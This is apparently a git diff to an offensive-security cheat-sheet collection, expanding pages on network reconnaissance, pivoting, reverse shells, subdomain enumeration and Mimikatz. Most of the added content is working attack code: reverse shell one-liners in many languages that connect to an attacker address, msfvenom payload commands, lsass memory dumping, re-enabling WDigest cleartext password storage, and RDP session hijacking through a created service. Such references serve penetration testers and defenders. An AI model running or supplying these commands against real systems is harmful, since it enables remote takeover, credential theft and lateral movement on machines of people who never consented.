+TCP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep tcp | cut -d " " -f3 | tr '\n' ',' | head -c -1) +[ "$TCP_PORTS" ] && sudo nmap -sT -sC -sV -v -Pn -n -T4 -p$TCP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_tcp $MACHINE_IP + +# UDP grab banners and services informations +UDP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep udp | cut -d " " -f3 | tr '\n' ',' | head -c -1) +[ "$UDP_PORTS" ] && sudo nmap -sU -sC -sV -v -Pn -n -T4 -p$UDP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_udp $MACHINE_IP +``` + ## Reconnoitre Dependencies: @@ -135,6 +162,40 @@ python2.7 ./reconnoitre.py -t 192.168.1.2-252 -o ./results/ --pingsweep --hostna If you have a segfault with nbtscan, read the following quote. > Permission is denied on the broadcast address (.0) and it segfaults on the gateway (.1) - all other addresses seem fine here.So to mitigate the problem: nbtscan 192.168.0.2-255 +## Netdiscover + +```powershell +netdiscover -i eth0 -r 192.168.1.0/24 +Currently scanning: Finished! | Screen View: Unique Hosts + +20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876 +_____________________________________________________________________________ +IP At MAC Address Count Len MAC Vendor / Hostname +----------------------------------------------------------------------------- +192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom +192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor +192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc. +192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD +``` + +## Responder + +```powershell +responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding. +responder.py -I eth0 -wrf +``` + +Alternatively you can use the [Windows version](https://github.com/lgandx/Responder-Windows) + +## Bettercap + +```powershell +bettercap -X --proxy --proxy-https -T +# better cap in spoofing, discovery, sniffer +# intercepting http and https requests, +# targetting specific IP only +``` + ## References -* [TODO](TODO) \ No newline at end of file +* [TODO](TODO) diff --git a/Methodology and Resources/Network Pivoting Techniques.md b/Methodology and Resources/Network Pivoting Techniques.md index e69f7c08fe..94d0b59a49 100644 --- a/Methodology and Resources/Network Pivoting Techniques.md +++ b/Methodology and Resources/Network Pivoting Techniques.md @@ -1,5 +1,26 @@ # Network Pivoting Techniques +## Summary + +* [Windows netsh Port Forwarding](#windows-netsh-port-forwarding) +* [SSH](#ssh) + * [SOCKS Proxy](#socks-proxy) + * [Local Port Forwarding](#local-port-forwarding) + * [Remote Port Forwarding](#remote-port-forwarding) +* [Proxychains](#proxychains) +* [Web SOCKS - reGeorg](#web-socks---regeorg) +* [Metasploit](#metasploit) +* [sshuttle](#sshuttle) +* [chisel](#chisel) +* [Rpivot](#rpivot) +* [plink](#plink) +* [ngrok](#ngrok) +* [Basic Pivoting Types](#basic-pivoting-types) + * [Listen - Listen](#listen---listen) + * [Listen - Connect](#listen---connect) + * [Connect - Connect](#connect---connect) +* [References](#references) + ## Windows netsh Port Forwarding ```powershell @@ -42,6 +63,7 @@ ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host] ```bash ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host] +ssh -R 3389:10.1.1.224:3389 root@10.11.0.32 ``` ## Proxychains @@ -83,14 +105,62 @@ optional arguments: ## Metasploit -```c -portfwd list +```powershell +# Meterpreter list active port forwards +portfwd list + +# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell +portfwd add –l 3389 –p 3389 –r target-host +portfwd add -l 88 -p 88 -r 127.0.0.1 portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445 +# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell +portfwd delete –l 3389 –p 3389 –r target-host +# Meterpreter delete all port forwards +portfwd flush + or -run autoroute -s 192.168.57.0/24 +# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0 +run autoroute -s 192.168.15.0/24 use auxiliary/server/socks4a + +# Meterpreter list all active routes +run autoroute -p + +route #Meterpreter view available networks the compromised host can access +# Meterpreter add route for 192.168.14.0/24 via Session number. +route add 192.168.14.0 255.255.255.0 3 +# Meterpreter delete route for 192.168.14.0/24 via Session number. +route delete 192.168.14.0 255.255.255.0 3 +# Meterpreter delete all routes +route flush +``` + +## sshuttle + +Transparent proxy server that works as a poor man's VPN. Forwards over ssh. + +* Doesn't require admin. +* Works with Linux and MacOS. +* Supports DNS tunneling. + +```powershell +pacman -Sy sshuttle +apt-get install sshuttle +sshuttle -vvr user@10.10.10.10 10.1.1.0/24 +sshuttle -vvr username@pivot_host 10.2.2.0/24 +``` + +## chisel + + +```powershell +go get -v github.com/jpillora/chisel + +# forward port 389 and 88 to hacker computer +user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389 +user@hacker$ /opt/chisel/chisel server -p 8008 --reverse ``` ## Rpivot @@ -125,11 +195,35 @@ python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [pro ## plink ```powershell -plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389 --> exposes the RDP port of the machine in the port 3390 of the SSH Server +# exposes the SMB port of the machine in the port 445 of the SSH Server +plink -l root -pw toor -R 445:127.0.0.1:445 +# exposes the RDP port of the machine in the port 3390 of the SSH Server +plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389 + plink -l root -pw mypassword 192.168.18.84 -R +plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445 + plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP] +# redirects the Windows port 445 to Kali on port 22 +plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185 ``` +## ngrok + +```powershell +# get the binary +wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip +unzip ngrok-stable-linux-amd64.zip + +# log into the service +./ngrok authtoken 3U[REDACTED_TOKEN]Hm + +# deploy a port forwarding for 4433 +./ngrok http 4433 +./ngrok tcp 4433 +``` + + ## Basic Pivoting Types | Type | Use Case | @@ -138,7 +232,7 @@ plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your loc | Listen - Connect | Normal redirect. | | Connect - Connect | Can’t bind, so connect to bridge two hosts | -## Listen - Listen +### Listen - Listen | Type | Use Case | | :------------- | :------------------------------------------ | @@ -147,7 +241,7 @@ plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your loc | remote host 1 | `ncat localhost 8080 < file` | | remote host 2 | `ncat localhost 9090 > newfile` | -## Listen - Connect +### Listen - Connect | Type | Use Case | | :------------- | :------------------------------------------ | @@ -156,13 +250,13 @@ plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your loc | remote host 1 | `ncat localhost -p 8080 < file` | | remote host 2 | `ncat -l -p 9090 > newfile` | -## Connect - Connect +### Connect - Connect | Type | Use Case | | :------------- | :------------------------------------------ | | ncat | `ncat localhost 8080 -c "ncat localhost 9090"` | | socat | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` | -| remote host 1 | `ncat -l -p 8080 < file | +| remote host 1 | `ncat -l -p 8080 < file` | | remote host 2 | `ncat -l -p 9090 > newfile` | ## References @@ -171,4 +265,5 @@ plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your loc * [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/) * [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences) * [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/) -* [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/) \ No newline at end of file +* [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/) +* [Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre Zanni](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) \ No newline at end of file diff --git a/Methodology and Resources/Reverse Shell Cheatsheet.md b/Methodology and Resources/Reverse Shell Cheatsheet.md index ec333263f2..5ccebd6bf2 100644 --- a/Methodology and Resources/Reverse Shell Cheatsheet.md +++ b/Methodology and Resources/Reverse Shell Cheatsheet.md @@ -1,6 +1,37 @@ -# Reverse Shell Methods - -## Reverse Shell Cheat Sheet +# Reverse Shell Cheat Sheet + +## Summary + +* [Reverse Shell](#reverse-shell) + * [Bash TCP](#bash-tcp) + * [Bash UDP](#bash-udp) + * [Socat](#socat) + * [Perl](#perl) + * [Python](#python) + * [PHP](#php) + * [Ruby](#ruby) + * [Golang](#golang) + * [Netcat Traditional](#netcat-traditional) + * [Netcat OpenBsd](#netcat-openbsd) + * [Ncat](#ncat) + * [OpenSSL](#openssl) + * [Powershell](#powershell) + * [Awk](#awk) + * [Java](#java) + * [War](#war) + * [Lua](#lua) + * [NodeJS](#nodejs) + * [Groovy](#groovy) +* [Meterpreter Shell](#meterpreter-shell) + * [Windows Staged reverse TCP](#windows-staged-reverse-tcp) + * [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp) + * [Linux Staged reverse TCP](#linux-staged-reverse-tcp) + * [Linux Stageless reverse TCP](#linux-stageless-reverse-tcp) + * [Other platforms](#other-platforms) +* [Spawn TTY Shell](#spawn-tty-shell) +* [References](#references) + +## Reverse Shell ### Bash TCP @@ -20,6 +51,15 @@ Listener: nc -u -lvp 4242 ``` +### Socat + +```powershell +user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242 +user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4242 +``` + +Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat) + ### Perl ```perl @@ -38,7 +78,12 @@ Linux only IPv4 ```python -python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' +export RHOST="10.10.10.10";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' +``` + +IPv4 +```python +python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' ``` IPv6 @@ -53,7 +98,7 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC Windows only ```powershell -C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" +C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.10.10.10', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` ### PHP @@ -73,16 +118,24 @@ NOTE: Windows only ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` +### Golang + +```bash +echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go +``` + ### Netcat Traditional ```bash nc -e /bin/sh [IPADDR] [PORT] +nc.traditional -e /bin/bash 10.0.0.1 4444 +nc -c bash 10.0.0.1 4444 ``` ### Netcat OpenBsd ```bash -rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f +rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f ``` ### Ncat @@ -92,14 +145,25 @@ ncat 127.0.0.1 4444 -e /bin/bash ncat --udp 127.0.0.1 4444 -e /bin/bash ``` +### OpenSSL + +```powershell +hacker@kali$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes +hacker@kali$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242 +or +hacker@kali$ ncat --ssl -vv -l -p 4242 + +user@company$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s +``` + ### Powershell ```powershell -powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() +powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` ```powershell -powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` ```powershell @@ -109,21 +173,21 @@ powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubuse ### Awk ```powershell -awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null +awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` ### Java ```java r = Runtime.getRuntime() -p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) +p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` ### War ```java -msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war +msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war strings reverse.war | grep jsp # in order to get the name of the file ``` @@ -133,13 +197,13 @@ strings reverse.war | grep jsp # in order to get the name of the file Linux only ```powershell -lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" +lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');" ``` Windows and Linux ```powershell -lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' +lua5.1 -e 'local host, port = "10.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` ### NodeJS @@ -150,7 +214,7 @@ lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); - client.connect(8080, "10.17.26.64", function(){ + client.connect(4242, "10.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); @@ -161,20 +225,21 @@ lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") or -require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]') +require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242') or -var x = global.process.mainModule.require --x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash') +-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash') or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` -### Groovy - by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) +### Groovy +by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy ```javascript @@ -184,51 +249,101 @@ String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` -## Spawn TTY +## Meterpreter Shell -```bash -/bin/sh -i +### Windows Staged reverse TCP + +```powershell +$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f exe > reverse.exe ``` -(From an interpreter) +### Windows Stageless reverse TCP ```powershell -python -c 'import pty; pty.spawn("/bin/sh")' -perl -e 'exec "/bin/sh";' -perl: exec "/bin/sh"; -ruby: exec "/bin/sh" -lua: os.execute('/bin/sh') +$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f exe > reverse.exe +``` + +### Linux Staged reverse TCP + +```powershell +$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f elf >reverse.elf +``` + +### Linux Stageless reverse TCP + +```powershell +$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f elf >reverse.elf +``` + +### Other platforms + +```powershell +$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf +$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe +$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho +$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp +$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp +$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war +$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py +$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh +$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl +$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php +``` + +## Spawn TTY Shell + +In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`. + +```powershell +rlwrap nc localhost 80 + +rlwrap -r -f . nc 127.0.0.1 4242 +-f . will make rlwrap use the current history file as a completion word list. +-r Put all words seen on in- and output on the completion list. ``` -Access shortcuts, su, nano and autocomplete in a partially tty shell -/!\ OhMyZSH might break this trick, a simple `sh` is recommended +Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell. + +:warning: OhMyZSH might break this trick, a simple `sh` is recommended + +> The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect ```powershell -# in host ctrl+z +echo $TERM && tput lines && tput cols + +# for bash stty raw -echo fg -# in reverse shell +# for zsh +stty raw -echo; fg + reset export SHELL=bash export TERM=xterm-256color stty rows columns ``` -(From within vi) +or use `socat` binary to get a fully tty reverse shell ```bash -:!bash -:set shell=/bin/bash:shell +socat file:`tty`,raw,echo=0 tcp-listen:12345 ``` -(From within nmap) +Spawn a TTY shell from an interpreter -```sh -!sh +```powershell +/bin/sh -i +python -c 'import pty; pty.spawn("/bin/sh")' +perl -e 'exec "/bin/sh";' +perl: exec "/bin/sh"; +ruby: exec "/bin/sh" +lua: os.execute('/bin/sh') ``` + + ## References * [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner) diff --git a/Methodology and Resources/Subdomains Enumeration.md b/Methodology and Resources/Subdomains Enumeration.md index 0806a99ad2..88ee0e2059 100644 --- a/Methodology and Resources/Subdomains Enumeration.md +++ b/Methodology and Resources/Subdomains Enumeration.md @@ -9,6 +9,7 @@ * EyeWitness * Sublist3r * Subfinder + * Findomain * Aquatone (Ruby and Go versions) * AltDNS * MassDNS @@ -86,6 +87,17 @@ go get github.com/subfinder/subfinder ./Subfinder/subfinder -d example.com -o /tmp/results_subfinder.txt ``` +### Using Findomain + +```powershell +$ wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux +$ chmod +x findomain-linux +$ findomain_spyse_token="YourAccessToken" +$ findomain_virustotal_token="YourAccessToken" +$ findomain_fb_token="YourAccessToken" +$ ./findomain-linux -t example.com -o +``` + ### Using Aquatone - old version (Ruby) ```powershell diff --git a/Methodology and Resources/Windows - Mimikatz.md b/Methodology and Resources/Windows - Mimikatz.md index 6df9c1499a..ec251244ec 100644 --- a/Methodology and Resources/Windows - Mimikatz.md +++ b/Methodology and Resources/Windows - Mimikatz.md @@ -21,9 +21,47 @@ mimikatz # sekurlsa::wdigest ## Mimikatz - Extract passwords +> Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled. + ```powershell mimikatz_command -f sekurlsa::logonPasswords full mimikatz_command -f sekurlsa::wdigest + +# to re-enable wdigest in Windows Server 2012+ +# in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest +# create a DWORD 'UseLogonCredential' with the value 1. +reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1 +``` + +:warning: To take effect, conditions are required : +- Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2: + * Adding requires lock + * Removing requires signout +- Win10: + * Adding requires signout + * Removing requires signout +- Win2016: + * Adding requires lock + * Removing requires reboot + + +## Mimikatz - Mini Dump + +Dump the lsass process. + +```powershell +C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp + +net use Z: https://live.sysinternals.com +Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp +``` + +Then load it inside Mimikatz. + +```powershell +mimikatz # sekurlsa::minidump lsass.dmp +Switch to minidump +mimikatz # sekurlsa::logonPasswords ``` ## Mimikatz Golden ticket @@ -47,6 +85,23 @@ net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab ``` +## Mimikatz RDP session takeover + +Run tscon.exe as the SYSTEM user, you can connect to any session without a password. + +```powershell +privilege::debug +token::elevate +ts::remote /id:2 +``` + +```powershell +# get the Session ID you want to hijack +query user +create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55" +net start sesshijack +``` + ## Mimikatz commands | Command |Definition| @@ -89,3 +144,4 @@ More informations can be grabbed from the Memory with : - [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821) - [Skeleton 